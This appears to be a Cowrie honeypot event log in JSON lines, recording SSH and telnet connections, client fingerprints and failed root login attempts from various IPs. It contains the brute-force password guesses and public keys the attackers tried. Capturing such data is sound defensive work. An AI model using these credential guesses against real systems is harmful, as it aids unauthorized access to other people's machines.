{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:32:44.437054Z","src_ip":"94.159.98.239","session":"3402dbc74310","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"228228228","message":"login attempt [root/228228228] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:32:45.831000Z","src_ip":"94.159.98.239","session":"3402dbc74310","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:32:47.454452Z","src_ip":"94.159.98.239","session":"3402dbc74310","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.571836948394775,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:32:53.562341Z","src_ip":"192.119.13.58","session":"5ac7059241ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.694284439086914,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:32:55.431537Z","src_ip":"192.119.13.58","session":"b76d59eeffd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:32:59.066275Z","src_ip":"46.19.67.181","session":"cc3f1f92c6bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.998729944229126,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:32:59.787978Z","src_ip":"192.119.13.58","session":"e21e53282798","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43816,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8defdc2163e","protocol":"telnet","message":"New connection: 192.119.13.58:43816 (10.17.0.5:23) [session: e8defdc2163e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:33:06.619206Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.4.14.170","src_port":39398,"dst_ip":"10.17.0.5","dst_port":22,"session":"468c731eed96","protocol":"ssh","message":"New connection: 91.4.14.170:39398 (10.17.0.5:22) [session: 468c731eed96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:33:11.149706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:33:11.154887Z","src_ip":"91.4.14.170","session":"468c731eed96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:33:11.335167Z","src_ip":"91.4.14.170","session":"468c731eed96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456Zz","message":"login attempt [root/123456Zz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:33:11.864254Z","src_ip":"91.4.14.170","session":"468c731eed96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:33:12.984026Z","src_ip":"91.4.14.170","session":"468c731eed96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43500,"dst_ip":"10.17.0.5","dst_port":23,"session":"d51ef9c9a3aa","protocol":"telnet","message":"New connection: 192.119.13.58:43500 (10.17.0.5:23) [session: d51ef9c9a3aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:33:13.844716Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59338,"dst_ip":"10.17.0.5","dst_port":23,"session":"73c3802d1fd4","protocol":"telnet","message":"New connection: 192.119.13.58:59338 (10.17.0.5:23) [session: 73c3802d1fd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:33:17.693113Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.71.22","src_port":8120,"dst_ip":"10.17.0.5","dst_port":22,"session":"77d825922976","protocol":"ssh","message":"New connection: 103.75.71.22:8120 (10.17.0.5:22) [session: 77d825922976]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:33:23.966323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:33:23.971539Z","src_ip":"103.75.71.22","session":"77d825922976","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:33:24.108802Z","src_ip":"103.75.71.22","session":"77d825922976","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"eb:55:f1:a0:b6:89:5a:55:52:da:88:63:a6:dd:78:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCa0ksc3LM40+p9QawznAl+Wxe58rpcVb9pbO+rW3pMvD04gLE1BMHaE4qLXLut71hUXfaXaHEIvQB8havfS00WUXNZDSjD2DV1U9k/+EsK9f6zjcPVhLtLZ0zBxPRF3ZLzE2vkD5zZ03KO8Dpv/Fiv/eqCtD15E9vjAtSqmnvtEoBO7xcJxx6A4Uqkdz64xWLrfr9sw02s081z4Vz9xu0YQGux6LwUpW+Mnowx1S3aky82LQsdnTuP9nnsO5Thdt4m+qWgC1qDi7zcnJ4SywSb9gCywKRK0Wt+o6s50Do8oodjVJXwuOIJhQxCi4QdrJpoKzYNukzrh3ZyWljGmHSr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint eb:55:f1:a0:b6:89:5a:55:52:da:88:63:a6:dd:78:79","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:33:24.749364Z","src_ip":"103.75.71.22","session":"77d825922976","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"eb:55:f1:a0:b6:89:5a:55:52:da:88:63:a6:dd:78:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCa0ksc3LM40+p9QawznAl+Wxe58rpcVb9pbO+rW3pMvD04gLE1BMHaE4qLXLut71hUXfaXaHEIvQB8havfS00WUXNZDSjD2DV1U9k/+EsK9f6zjcPVhLtLZ0zBxPRF3ZLzE2vkD5zZ03KO8Dpv/Fiv/eqCtD15E9vjAtSqmnvtEoBO7xcJxx6A4Uqkdz64xWLrfr9sw02s081z4Vz9xu0YQGux6LwUpW+Mnowx1S3aky82LQsdnTuP9nnsO5Thdt4m+qWgC1qDi7zcnJ4SywSb9gCywKRK0Wt+o6s50Do8oodjVJXwuOIJhQxCi4QdrJpoKzYNukzrh3ZyWljGmHSr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:33:24.753069Z","src_ip":"103.75.71.22","session":"77d825922976","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e1:66:9b:87:b9:44:07:b1:38:27:e0:05:5d:b1:e2:95","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAwXPYgA8HbWrXJt9CQx8nUMxriay+GvH3qiffhzodfTegLpPVHZC+7z0iz4mK+9F6vkBoxaJ8u8W34sCmpUbQWqfeNDBb46p5ndnRjBIcJAf8ZkJqd2boNYE3eoJ8EISaf8twLxjTyYyKPheqhSkGI9wxawtkybyG2YIId6gLSzc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e1:66:9b:87:b9:44:07:b1:38:27:e0:05:5d:b1:e2:95","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:33:24.886486Z","src_ip":"103.75.71.22","session":"77d825922976","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e1:66:9b:87:b9:44:07:b1:38:27:e0:05:5d:b1:e2:95","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAwXPYgA8HbWrXJt9CQx8nUMxriay+GvH3qiffhzodfTegLpPVHZC+7z0iz4mK+9F6vkBoxaJ8u8W34sCmpUbQWqfeNDBb46p5ndnRjBIcJAf8ZkJqd2boNYE3eoJ8EISaf8twLxjTyYyKPheqhSkGI9wxawtkybyG2YIId6gLSzc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:33:24.890583Z","src_ip":"103.75.71.22","session":"77d825922976","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"56:6d:84:ad:88:c9:40:68:3f:61:61:af:b9:84:c8:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvWBcH4ZkIJxAPJsGtzucsvg4ZUsO88WRvjqXAwVx4FcbG/5OIhoyH+pzDpXiUAdaTwAu6TO6jbOYOevyN29+iOVntyQmoUmpePxqOvtUrEprnGrEX/qm0/v02URkEDLAZRaVMetiYWMZgox83cS4OKR4OY0YecG/w1oVFthuFRf9sg78jwoj8pBMg2wGdEz60zQBoT04Pp74TmNZHnqbAS9mMTBksqRrH/TZjD3p9a3LkPS6B2Ba+cFUuMIqIQ5QTGsnvGr6shvKd+c+FLgFnUZo8ed2KscAvQ3I+wnSN5b3nnu8KwWL2RPxFry2ZmXbQ7aiSxS6AMrLJzXATP+h3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 56:6d:84:ad:88:c9:40:68:3f:61:61:af:b9:84:c8:f3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:33:25.029782Z","src_ip":"103.75.71.22","session":"77d825922976","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"56:6d:84:ad:88:c9:40:68:3f:61:61:af:b9:84:c8:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvWBcH4ZkIJxAPJsGtzucsvg4ZUsO88WRvjqXAwVx4FcbG/5OIhoyH+pzDpXiUAdaTwAu6TO6jbOYOevyN29+iOVntyQmoUmpePxqOvtUrEprnGrEX/qm0/v02URkEDLAZRaVMetiYWMZgox83cS4OKR4OY0YecG/w1oVFthuFRf9sg78jwoj8pBMg2wGdEz60zQBoT04Pp74TmNZHnqbAS9mMTBksqRrH/TZjD3p9a3LkPS6B2Ba+cFUuMIqIQ5QTGsnvGr6shvKd+c+FLgFnUZo8ed2KscAvQ3I+wnSN5b3nnu8KwWL2RPxFry2ZmXbQ7aiSxS6AMrLJzXATP+h3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:33:25.034140Z","src_ip":"103.75.71.22","session":"77d825922976","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:fa:9e:2c:d4:b3:e5:69:64:bb:e3:85:6c:3c:7e:1e","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJz0IrYBqyEDOFLH52Rw4w4MlFAhsx7TDBs3RJxVb9AaLWt61GGb2j5WQcWY+ND8Pud8BWiO8AT+Z8oDoEQUhpSm6iclCnsnwGXoC0qpWHWhoJVVj6mlbxLk/NrQYU6/bC8v7zjDq42hoMcZIMgZtpzg80psn/zTJVcSqdnIKtFbAAAAFQDXJLGDWRyUj7LKBWf76tJieK1YTwAAAIARw1dXyCWGKbampXSwhJRGfRYgRzwBVPema4a6fJHee1Sl6MZ6h+9ZJ/DlrGvKjjeoTV5MjS20XEZ/7sNK+STSS57ktZSKjEJdUylyf33l2hIu3QJuD2HY7pSvi2tECSywFntEWTOz7apyEaktDzsqkwYCj8XYg71qFQMHgPe1yAAAAIBwyP7fiivKSbWwifi97YWw0zUgrIm2wawcK/81wAQZbrZbTe8ONyjk7OfgLI1hR6S+QjoXWEI6HW50UqBgvHgix7XeCbJHGvO6+nizo/srDd0i73/Q+SCJawb9+JQbmDSrOSS3gYeB6Q2Pod5zgqiyMnrZg7a5qnexQ+qu898RtA==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 1d:fa:9e:2c:d4:b3:e5:69:64:bb:e3:85:6c:3c:7e:1e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:33:25.170317Z","src_ip":"103.75.71.22","session":"77d825922976","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:fa:9e:2c:d4:b3:e5:69:64:bb:e3:85:6c:3c:7e:1e","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJz0IrYBqyEDOFLH52Rw4w4MlFAhsx7TDBs3RJxVb9AaLWt61GGb2j5WQcWY+ND8Pud8BWiO8AT+Z8oDoEQUhpSm6iclCnsnwGXoC0qpWHWhoJVVj6mlbxLk/NrQYU6/bC8v7zjDq42hoMcZIMgZtpzg80psn/zTJVcSqdnIKtFbAAAAFQDXJLGDWRyUj7LKBWf76tJieK1YTwAAAIARw1dXyCWGKbampXSwhJRGfRYgRzwBVPema4a6fJHee1Sl6MZ6h+9ZJ/DlrGvKjjeoTV5MjS20XEZ/7sNK+STSS57ktZSKjEJdUylyf33l2hIu3QJuD2HY7pSvi2tECSywFntEWTOz7apyEaktDzsqkwYCj8XYg71qFQMHgPe1yAAAAIBwyP7fiivKSbWwifi97YWw0zUgrIm2wawcK/81wAQZbrZbTe8ONyjk7OfgLI1hR6S+QjoXWEI6HW50UqBgvHgix7XeCbJHGvO6+nizo/srDd0i73/Q+SCJawb9+JQbmDSrOSS3gYeB6Q2Pod5zgqiyMnrZg7a5qnexQ+qu898RtA==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:33:25.174762Z","src_ip":"103.75.71.22","session":"77d825922976","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"32:63:96:70:b7:0c:4d:c7:8b:fe:56:a8:ce:78:bf:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAu7v8eW+zfMGWvJD7xYlDE04JGoO8ulx+CIPlejyfHtfBR1FzN/qyiKvd6EPs6QlT7yNRikBLoNnQ7Xe9kqkyCWmtsAU/tXJLmpl5h3uB0KMvY/7CGn6Tak+DXDaN4ib4MjyA9JqBLIWvn8cmBpTLKRoGoJwCnnRz8AWhN6hxw9FrSXfLDSPn+sTrb+Qo+BfYpWfELCdQFRbeaZdkiWupvz+vXYgbGRxa6Vons7X94FFIAk1oYc9+OyBFlCOHTqt+DgAOorgJWH45EsFS0H2MpduFafhC5kUkJwXgtSsebiHF8Z1Y3JUPPZXzDAn5mZPUiPPxNFvdA8dwqnHeK5P77w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 32:63:96:70:b7:0c:4d:c7:8b:fe:56:a8:ce:78:bf:60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:33:25.308800Z","src_ip":"103.75.71.22","session":"77d825922976","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"32:63:96:70:b7:0c:4d:c7:8b:fe:56:a8:ce:78:bf:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAu7v8eW+zfMGWvJD7xYlDE04JGoO8ulx+CIPlejyfHtfBR1FzN/qyiKvd6EPs6QlT7yNRikBLoNnQ7Xe9kqkyCWmtsAU/tXJLmpl5h3uB0KMvY/7CGn6Tak+DXDaN4ib4MjyA9JqBLIWvn8cmBpTLKRoGoJwCnnRz8AWhN6hxw9FrSXfLDSPn+sTrb+Qo+BfYpWfELCdQFRbeaZdkiWupvz+vXYgbGRxa6Vons7X94FFIAk1oYc9+OyBFlCOHTqt+DgAOorgJWH45EsFS0H2MpduFafhC5kUkJwXgtSsebiHF8Z1Y3JUPPZXzDAn5mZPUiPPxNFvdA8dwqnHeK5P77w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:33:25.313957Z","src_ip":"103.75.71.22","session":"77d825922976","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:33:25.447503Z","src_ip":"103.75.71.22","session":"77d825922976","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38746,"dst_ip":"10.17.0.5","dst_port":23,"session":"505642c96c5d","protocol":"telnet","message":"New connection: 192.119.13.58:38746 (10.17.0.5:23) [session: 505642c96c5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:33:26.839714Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.0.214.136","src_port":3162,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bb7fc9ce0fa","protocol":"ssh","message":"New connection: 181.0.214.136:3162 (159.203.135.109:22) [session: 6bb7fc9ce0fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:33:31.632443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:33:31.638129Z","src_ip":"181.0.214.136","session":"6bb7fc9ce0fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:33:31.802269Z","src_ip":"181.0.214.136","session":"6bb7fc9ce0fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Andisheh@321","message":"login attempt [root/Andisheh@321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:33:32.471221Z","src_ip":"181.0.214.136","session":"6bb7fc9ce0fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:33:33.636527Z","src_ip":"181.0.214.136","session":"6bb7fc9ce0fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52892,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3a00e69bf39","protocol":"telnet","message":"New connection: 192.119.13.58:52892 (10.17.0.5:23) [session: c3a00e69bf39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:33:37.410725Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38508,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e17446ee228","protocol":"telnet","message":"New connection: 192.119.13.58:38508 (10.17.0.5:23) [session: 1e17446ee228]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:33:40.745519Z"}
{"eventid":"cowrie.session.closed","duration":37.48168230056763,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:33:44.100751Z","src_ip":"192.119.13.58","session":"e8defdc2163e","protocol":"telnet"}
